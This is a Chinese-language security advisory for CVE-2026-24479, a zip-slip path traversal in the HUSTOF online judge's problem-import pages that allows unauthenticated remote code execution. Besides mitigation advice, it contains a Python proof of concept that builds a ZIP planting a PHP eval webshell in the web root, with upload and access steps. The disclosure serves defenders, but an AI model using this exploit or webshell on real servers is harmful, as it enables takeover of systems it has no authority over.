IPBUF安全漏洞报告
English
CVE-2026-24479 CVSS 9.8 严重

CVE-2026-24479 HUSTOF在线评测系统路径遍历导致RCE漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-24479
漏洞类型
路径遍历/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
HUSTOF (基于hustoj开源在线评测系统)

相关标签

路径遍历远程代码执行RCEZIP解压文件上传HUSTOFhustoj在线评测系统Web安全CVE-2026-24479

漏洞概述

HUSTOF是一款基于PHP/C++/MySQL/Linux开发的开源在线评测系统,用于ACM/ICPC和NOIP竞赛训练。该系统在26.01.24之前的版本中,problem_import_qduoj.php和problem_import_hoj.php模块存在严重的路径遍历漏洞。攻击者可构造包含路径遍历序列(如../../shell.php)的恶意ZIP压缩包,通过系统的题目导入功能上传该文件。当服务器解压ZIP文件时,未正确验证的文件名会被直接用于文件写入路径,导致攻击者可以在Web根目录的任意位置写入恶意文件,最终实现远程代码执行(RCE)。该漏洞无需认证即可利用,且CVSS评分高达9.8,属于极其严重的危急漏洞。建议受影响的用户立即升级到26.01.24或更高版本,并采取临时防护措施。

技术细节

该漏洞存在于HUSTOF系统的题目导入模块中。系统提供problem_import_qduoj.php和problem_import_hoj.php两个接口用于导入ZIP格式的题目数据包。问题在于程序在解压ZIP文件时,直接使用了压缩包内文件条目的文件名进行文件写入操作,而未对文件名进行安全过滤和路径规范化处理。攻击者可以通过以下方式利用:1)构造包含路径遍历序列的恶意ZIP文件,文件名如../../../../var/www/html/shell.php;2)通过题目导入功能上传该ZIP文件;3)服务器解压时,由于未验证路径遍历字符,文件会被写入到web根目录的任意位置;4)攻击者访问写入的webshell即可执行任意系统命令。由于该漏洞位于文件解压逻辑中,且解压过程由服务器自动处理,因此攻击者可以在无需任何认证的情况下完成攻击链。修复方案需要在文件解压前对文件名进行规范化处理,移除所有路径遍历序列,并限制文件写入路径在指定目录内。

攻击链分析

STEP 1
步骤1
攻击者创建恶意ZIP文件:在ZIP压缩包内创建一个文件名包含路径遍历序列的文件,如../../../../var/www/html/shell.php,内容为PHP webshell代码
STEP 2
步骤2
上传恶意ZIP:攻击者通过HUSTOF系统的problem_import_qduoj.php或problem_import_hoj.php接口上传构造好的恶意ZIP文件,无需任何认证
STEP 3
步骤3
服务器解压处理:服务器在后台自动解压ZIP文件,由于未验证文件名中的路径遍历序列,直接按照文件名路径写入文件
STEP 4
步骤4
webshell落地:恶意PHP文件被写入到Web根目录,攻击者获得持久化webshell
STEP 5
步骤5
远程代码执行:攻击者通过HTTP请求访问webshell,发送POST命令执行任意系统指令,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os def create_malicious_zip(): """ Generate malicious ZIP file for CVE-2026-24479 path traversal exploit Target: HUSTOF problem_import_qduoj.php or problem_import_hoj.php """ # Malicious filename with path traversal sequence malicious_filename = '../../../../var/www/html/shell.php' # Webshell content - simple PHP command execution webshell_content = b'<?php @eval($_POST["cmd"]); ?>' # Create ZIP file with malicious entry with zipfile.ZipFile('exploit.zip', 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr(malicious_filename, webshell_content) print('Malicious ZIP created: exploit.zip') print(f'Entry name: {malicious_filename}') print('Upload to: /problem_import_qduoj.php or /problem_import_hoj.php') print('Access shell at: http://target/shell.php') if __name__ == '__main__': create_malicious_zip()

影响范围

HUSTOF < 26.01.24
hustoj (相关开源项目受影响版本)

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)暂时禁用problem_import_qduoj.php和problem_import_hoj.php模块的文件上传功能;2)在Web服务器配置中限制写入目录,禁止PHP文件在web根目录执行;3)部署文件上传白名单机制,仅允许上传预定义格式的文件;4)增强Web服务器日志监控,及时发现异常文件写入行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表